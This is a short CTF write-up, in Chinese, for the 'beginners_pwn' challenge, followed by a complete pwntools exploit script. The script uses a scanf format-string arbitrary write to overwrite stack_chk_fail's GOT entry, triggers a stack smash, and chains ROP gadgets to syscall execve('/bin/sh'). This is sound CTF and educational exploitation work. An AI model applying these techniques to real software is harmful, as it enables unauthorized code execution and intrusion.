题面非常简单,scanf格串参数可控。但无任何输出函数,无法泄露libc,不过程序syscall指令。利用方法:scanf格串构造任意地址写,写stack_chk_fail的GOT表,然后继续利用scanf栈溢出触发canary报警,控制流劫持,但是只找到两个能利用rdi和rsi的gadget,无法直接控制rax和rdx。最后在程序中找到一段gadget(0x4011DE)能间接控制rax和rdx,不过需要劫持rbp才能满足这段约束的条件。总之最后一顿ROP到syscall上即可execve(“/bin/sh”,0,0)。
- attachment:beginners_pwn
- ctftime:beginners_pwn
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./beginners_pwn")
io = process(myelf.path)
#io = remote("35.221.81.216",30002)
def aaw(addr,data):
io.sendline('%7$s%s\x00\x00'+p64(addr))
io.sendline(data)
# (Addr:0x404018) ROP start and new stack here
payload = p64(0x4012be) # pop*3;ret
payload += p64(0) # padding
payload += "/bin/sh\x00" # /bin/sh
payload += p64(0x3b) # *(*(rbp-0x18)) exevce
payload += p64(0x404030) # *(rbp-0x18)
payload += p64(0)*3 # padding
payload += p64(0x4012c3) # pop rdi;ret
payload += p64(0x404028) # /bin/sh addr
payload += p64(0x4012c1) # pop rsi;pop r15;ret
payload += p64(0)*2 # rsi;r15
payload += p64(0x40118F) # syscall
# modify stack_chk_fail in GOT
stack_chk_fail = 0x404018
aaw(stack_chk_fail,payload)
# trigger stack smash
payload = p64(0x40112d) # pop rbp
payload += p64(0x404050) # mov rbp to 0x404050
payload += p64(0x4011DE) # rbx = 0,rax = *(*(rbp-0x18)),leave and return
io.sendline(payload)
io.sendline("cat flag")
io.interactive()